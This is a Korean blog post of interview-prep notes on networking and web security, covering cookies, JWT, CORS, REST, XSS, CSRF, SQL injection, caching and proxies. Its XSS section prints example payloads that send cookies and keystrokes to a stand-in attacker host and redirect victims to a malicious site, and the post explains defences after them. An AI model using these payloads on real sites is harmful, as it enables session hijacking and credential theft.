ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [컴퓨터네트워크] 3주차 과제
    컴퓨터네트워크 2024. 11. 14. 18:57

    📎 면접 예상 질문

    ⭐️ 쿠키와 세션에 대해서 설명해주세요.

     

    - 쿠키는 사용자의 웹 브라우저에 저장되는 작은 데이터 조각으로, 서버에서 사용자의 상태를 저장하는 데 사용됩니다. 이를 통해 사용자가 웹사이트를 다시 방문했을 때 이전에 설정한 정보를 기억할 수 있습니다. 쿠키는 브라우저에 저장되고, 유효 기간을 설정하여 만료될 수 있습니다.

    - 세션은 서버에 저장되는 사용자 정보를 의미하며, 클라이언트가 웹사이트에 접속하고 있는 동안 상태 정보를 유지할 수 있게 합니다. 세션은 주로 세션 ID를 통해 구분되며, 클라이언트의 요청마다 서버가 세션 ID를 통해 사용자를 식별합니다. 세션은 클라이언트가 브라우저를 종료하거나, 서버에서 설정한 유효 기간이 만료되면 사라집니다.

     

    JWT 토큰에 대해서 설명해주세요.

    - JWT는 JSON 형식으로 사용자에 대한 정보를 인코딩하여 전달하는 토큰입니다. 서버가 토큰을 생성해 클라이언트에게 주면, 클라이언트는 요청마다 이 토큰을 서버에 제출함으로써 인증을 유지할 수 있습니다. JWT는 세 가지 부분(헤더, 페이로드, 서명)으로 구성되며, 자체적으로 정보를 포함하고 있어 세션 저장소가 필요 없는 장점이 있습니다.

    주의할 점은 정보가 그대로 담겨 있으므로, 중요한 정보는 포함하지 않고 사용해야합니다.

    ⭐️ SOP와 CORS에 대해서 설명해주세요.

     

    SOP는 웹 보안 정책으로, 스크립트가 자신이 로드된 도메인과 동일한 도메인에만 접근할 수 있도록 제한하는 정책입니다. 이를 통해 악의적인 사이트가 사용자의 정보를 무단으로 가져가는 것을 방지할 수 있습니다.

    CORS는 SOP의 제한을 완화하기 위한 정책입니다. 다른 도메인에서 리소스를 공유할 수 있도록 설정하며, 서버에서 특정 출처에 대한 접근 권한을 설정할 수 있습니다. 서버는 Access-Control-Allow-Origin 헤더를 설정해 허용할 도메인을 명시하게 됩니다.

     

    ⭐️ REST에 대해서 설명해주세요. Restful API는 뭘까요?

    REST(Representational State Transfer)는 웹 서비스 설계 원칙을 정의한 아키텍처 스타일로, 클라이언트와 서버가 HTTP 프로토콜을 통해 상태를 주고받으며 상호작용할 수 있게 합니다. REST는 주로 URL을 통해 자원을 표현하고, HTTP 메서드(GET, POST, PUT, DELETE)를 사용해 자원에 대한 작업을 수행합니다.

    RESTful API는 이러한 REST 원칙을 준수하는 API입니다. RESTful API는 클라이언트와 서버 간의 통신을 더 간결하고 직관적으로 만듭니다.

    ⭐️ REST 제약 조건에 대해 설명해주세요.

    앞의 포스팅 처럼 REST API에는 총 6가지의 제약조건이 있다.

    1. Server-Client 구조
    2. Stateless(무상태)
    3. Cacheable(캐시 처리 기능)
    4. Layered System(계층화)
    5. Code-On-Demand(Optional)
    6. Uniform Interface(인터페이스의 일관성)

     

     

    URL, URI, URN 차이가 뭘까요?

    URL (Uniform Resource Locator)

    • 파일식별자(Uniform Resource Locator)는 네트워크 상에서 자원이 어디 있는지 위치를 알려주기 위한 규약이다.
    • 즉, 컴퓨터 네트워크와 검색 메커니즘에서의 위치를 지정하는, 웹 리소스에 대한 참조이다.
    • 흔히 우리는 URL을 웹 사이트 주소로만 알고 있지만, URL은 웹 사이트 주소뿐만 아니라 컴퓨터 네트워크상의 자원을 모두 나타내는 표기법이다.
    • 그리고 해당 주소에 접속하려면 URL에 맞는 프로토콜(http, sftp, smp ..등)을 알아야 하고, 그와 동일한 프로토콜로 접속해야 한다.

     

    URI (Uniform Resource Identifier)

    • 통합 자원 식별자(Uniform Resource Identifier)는 인터넷에 있는 자원을 어디에 있는지 자원 자체를 식별하는 방법이다.
      • Uniform : 리소스를 식별하는 통일된 방식
      • Resource : 자원, URI로 식별할 수 있는 모든 것
        여기서 자원은 웹 브라우저의 파일만 뜻하는 게 아니라, 실시간 교통정보 등 우리가 구분할 수 있는 것은 모든 게 리소스가 된다.
      • Identifier : 다른 항목과 구분하는데 필요한 정보
    • URI의 존재는 인터넷에서 요구되는 기본조건으로서 인터넷 프로토콜에 항상 붙어 다닌다.
    • URI의 하위개념으로 URL, URN 이 있다

     

    URN (Uniform Resource Name)

    • 통합 자원 이름(Uniform Resource Name)은 urn:scheme 을 사용하는 URI를 위한 역사적인 이름이다.
    • URL이 리소스가 있는 위치를 지정한다면, URN은 리소스에 이름을 부여하는 것이다.
    • URN은 영속적이고, 위치에 독립적인 자원을 위한 지시자로 사용하기 위해 1997년도 RFC 2141 문서에서 정의되었다.
    • 하지만 리소스가 이름에 매핑되어 있어야 하기 때문에 이름으로 부여하면 거의 찾기가 힘들다. 그래서 대부분 URL만 쓴다. (즉 URN은 몰라도 된다)

     

    XSS 공격이 무엇이고, 방어하는 방법을 설명해주세요.

    XSS 공격 사용자 브라우저에 전달되는 데이터에 악성 스크립트를 포함시킨 뒤, 사용자 브라우저에 실행되면서 해킹하는 공격이다.

    1. 쿠키 탈취
    <script>
    new Image().src = "http://공격자사이트.com/~~?cookie=".concat(document.cookie);
    </script>
     
    2. 악의적인 페이지로 리다이렉트 
    Reflected XSS 공격이 통하는 곳에서
    <script>
    location.href = "https://악의적인사이트.com/~~"
    </script>
     
    3. 키로거 이용한 정보 탈취
    el.addEventListener('keyup', () => {
              new Image().src = "http://공격자사이트.com/~~?cookie=".concat(event.key); 
    });

     

     

    XSS는 사용자의 입력 값(파라미터)에서부터 발생하기 때문에 HTML Entity로 입력 값 조작을 방지하는 것이 가장 근본적인 방법이다.

     

    HTML Entity란?

    HTML 예약어라고 하며, 이는 일부 특수문자가 HTML 문법과 충돌할 수 있어 변환시켜 전송하는 것이다.

     

    기호 HTML Entity
    < &lt;
    > &gt;
    " &quot;
    ' &apos;
    & &amp;

     

    HTML Entity를 사용하면 사용자가 <script>를 입력하면, 서버에는 &lt;script&gt;로 저장되어 태그로 인식되지 않아 XSS를 방지할 수 있다. 만약 서버에 HTML Entity로 문자를 치환하고 있다면 마땅한 우회방법이 없기 때문에 XSS는 웬만하면 터지지 않는다. 

     

     

     

     

    CSRF 공격이 무엇이고, 방어하는 방법을 설명해주세요.

    CSRF는 사용자가 인증된 상태에서 악성 웹사이트나 공격자가 유도하는 링크를 클릭할 때, 사용자가 의도하지 않은 악성 요청이 다른 사이트에 전달되는 공격입니다.

    방법1 CSRF 토큰 사용

     

    • 서버는 각 요청에 고유한 CSRF 토큰을 포함시켜 클라이언트가 서버로 요청을 보낼 때 이 토큰을 함께 전송하도록 합니다.
    • 서버는 요청을 받을 때 해당 토큰이 유효한지 확인하고, 유효하지 않으면 요청을 차단합니다.

     

    방법2 Referer 헤더 검사

    요청의 출처를 확인해 모르는 도메인에서 온 요청은 차단한다.

    SQL Injection 공격이 무엇이고, 방어하는 방법을 설명해주세요.

    악의적인 사용자가 보안상의 취약점을 이용하여임의의 SQL 문을 주입하고 실행되게 하여 데이터베이스가 비정상적인 동작을 하도록 조작하는 행위 입니다

    <방어 방법>

    입력 값에 대한 검증

    사용자의 입력 값에 대한 검증! 서버 단에서 화이트리스트 기반으로 검증합니다블랙리스트 기반으로 검증하게 되면 수많은 차단리스트를 등록해야 하고하나라도 빠지면 공격에 성공하게 되기 때문입니다.

    Prepared Statement 구문사용

    Prepared Statement 구문을 사용하게 되면사용자의 입력 값이 데이터베이스의 파라미터로 들어가기 전에DBMS가 미리 컴파일 하여 실행하지 않고 대기합니다그 후 사용자의 입력 값을 문자열로 인식하게 하여 공격쿼리가 들어간다고 하더라도사용자의 입력은 이미 의미 없는 단순 문자열이기 때문에 전체 쿼리문도 공격자의 의도대로 작동하지 않습니다. 

    Error Message 감추기

    공격자가 SQL Injection을 수행하기 위해서는 데이터베이스의 정보(테이블명컬럼명 등)가 필요합니다데이터베이스 에러 발생 시 테이블명 및 컬럼명 그리고 쿼리문이 노출이 될 수 있기 때문에, view를 활용하여 원본 데이터베이스 테이블 접근 권한을 높이는 로직 처리등을 할 수 있습니다

     

    웹 캐시에 대해 설명해주세요.

    브라우저가 웹 서버에 접속하여 받아온 정적 컨텐츠 (html, 이미지, js 등)를 메모리 또는 디스크에 저장해 놓는 것을 말한다. 이후 HTTP 요청을 할 경우 해당 리소스가 캐시에 있는지 확인하고 이를 재사용함으로써 응답시간과 네트워크 대역폭을 줄일 수 있다.

     

    <웹 캐시의 장점>

    1. 불필요한 네트워크 통신을 줄인다.

    캐시를 이용하면, 첫번째 응답은 브라우저 캐시에 보관되고, 클라이언트가 똑같은 문서를 요청할 경우 캐시된 사본이 이에대한 응답으로 사용될 수 있기 때문에, 중복해서 트래픽을 주고받는 네트워크 통신을 줄일 수 있다.

    2. 네트워크 병목을 줄여준다.

    많은 네트워크가 원격 서버보다 로컬 네트워크에 더 넓은 대역폭을 제공한다. WAN 보다 LAN이 구성이 더 쉽고, 거리도 가까우며, 비용도 적게들기 때문이다. 만약 클라이언트가 빠른 LAN에 있는 캐시로부터 사본을 가져온다면, 캐싱 성능을 대폭 개선할 수 있다.

    3. 거리로 인한 네트워크 지연을 줄여준다.

     대역폭이 문제가 되지 않더라도, 거리가 문제될 수 있다. 만약 멀리 떨어진 곳끼리 네트워크 통신을 한다면 그 거리만큼 속도에 비례하여 통신 시간이 소요된다. 추가 커넥션에 의한 병렬처리가 이 속도를 줄일 수 있지만, 이보다 더 떨어진 거리거나, 훨씬 더 복잡한 웹페이지일 경우 거리로 인한 속도 지연은 무시할 수 없다.캐시는 이러한 거리를 수천 킬로미터에서 수십 미터로 줄일 수 있다.

    4. 갑작스런 요청 쇄도(Flash Crowds)에 대처 가능하다.

     원 서버로의 요청을 줄이기때문에 갑작스런 요청 쇄도 (Flash Crowds) 에 대처할 수 있다.

     

    프록시 서버에 대해서 설명해주세요.

    위키피디아

    프록시서버란 클라이언트가 자신을 거쳐 다른 네트워크에 접속할 수 있게 중간에서 대리해주는 서버

    장점

    1) 보안: 서버의 IP를 숨기는 것이 가능하고 이는 외부로부터 위험을 막음

    2) 캐시: 이전에 했던 요청들을 프록시 서버에 저장해두어 다음 번에 재요청을 보낼 때 서버를 거치지 않고 데이터를 주고 받을 수 있기 때문에 속도가 더 빠름

     

    ⭐️ 포워드 프록시에 대해서 설명해주세요.

    Forward Proxy는 보안을 위해 사용되는 방식입니다.

    즉, 클라이언트에서 요청을 할 때 직접 요청하는 것이 아닌 프록시 서버를 거치는 방식이 바로 포워드 프록시입니다.

     

    ⭐️ 리버스 프록시에 대해서 설명해주세요.

    https://akal.co.kr/?p=1173 참고

    Reverse Proxy는 Forward Proxy와 반대로 서버에서 클라이언트 직접 데이터를 전달하지 않고 프록시 서버를 거치는 방식이 바로 리버스 프록시입니다.

     

     

    L7 로드 밸런서에 대해서 설명해주세요.

    - L7 로드 밸런서는 애플리케이션 계층(Application Layer, Layer 7) 에서 작동하는 로드 밸런서로, 주로 HTTP 및 HTTPS 프로토콜을 기반으로 클라이언트와 서버 간의 트래픽을 분산시킵니다. L7 로드 밸런서는 요청 내용(URL, 헤더, 쿠키 등)을 기반으로 로드 밸런싱을 수행합니다.

     

     

    커넥션 타임아웃과 리드 타임아웃에 대해 설명해주세요.

    - Connection Timeout은 종단 간 연결하는데 소요되는 최대 시간을 의미 합니다. 이 시간을 넘기게 되면 연결 할 수 없는 것으로 판단하고 에러가 발생 합니다. Connection Timeout은 TCP 3 way handshake시 발생할 수 있는 연결 지연으로, 발생할 수 있는 패킷 유실 경우의 수는 세 가지 입니다. 1) SYN 패킷이 유실 되었을 때, 2) SYN + ACK 패킷이 유실 되었을 때, 3) ACK 패킷이 유실 되었을 때.

    1,2번의 경우 원인은 다르지만 결과적으로 A입장에서 SYN+ACK 패킷을 못받은 상황이므로 리눅스 디폴트 RTO인 1초 후 SYN패킷 재전송하며 문제 해결

    3번의 경우 SYN과 SYN+ACK 패킷을 서로 주고 받으면서 A와 B는 둘 사이의 RTT를 알게됐고 업데이트된 RTO기준으로 1초 이내에 ACK를 재전송하며 문제 해결

     

    - Read Timeout은 연결된 종단 간에 데이터를 주고 받을 때 소요되는 최대 시간을 의미 합니다. 이 시간을 넘기게 되면 데이터를 받을 수 없는 것으로 판단하고 에러가 발생 합니다. Read Timeout에 영향을 주는 RTO는 RTT를 기준으로 만들어져서  Connection Timeout에 비해 좀 더 짧음(1초 이내). 

     

     

     

     

     

    참고:

    https://alden-kang.tistory.com/20

    https://fomaios.tistory.com/entry/Network-%ED%94%84%EB%A1%9D%EC%8B%9C-%EC%84%9C%EB%B2%84%EB%9E%80-feat-%ED%95%84%EC%9A%94%ED%95%9C-%EC%9D%B4%EC%9C%A0-What-is-a-Proxy-server

    https://inpa.tistory.com/entry/WEB-🌐-URL-URI-차이

Designed by Tistory.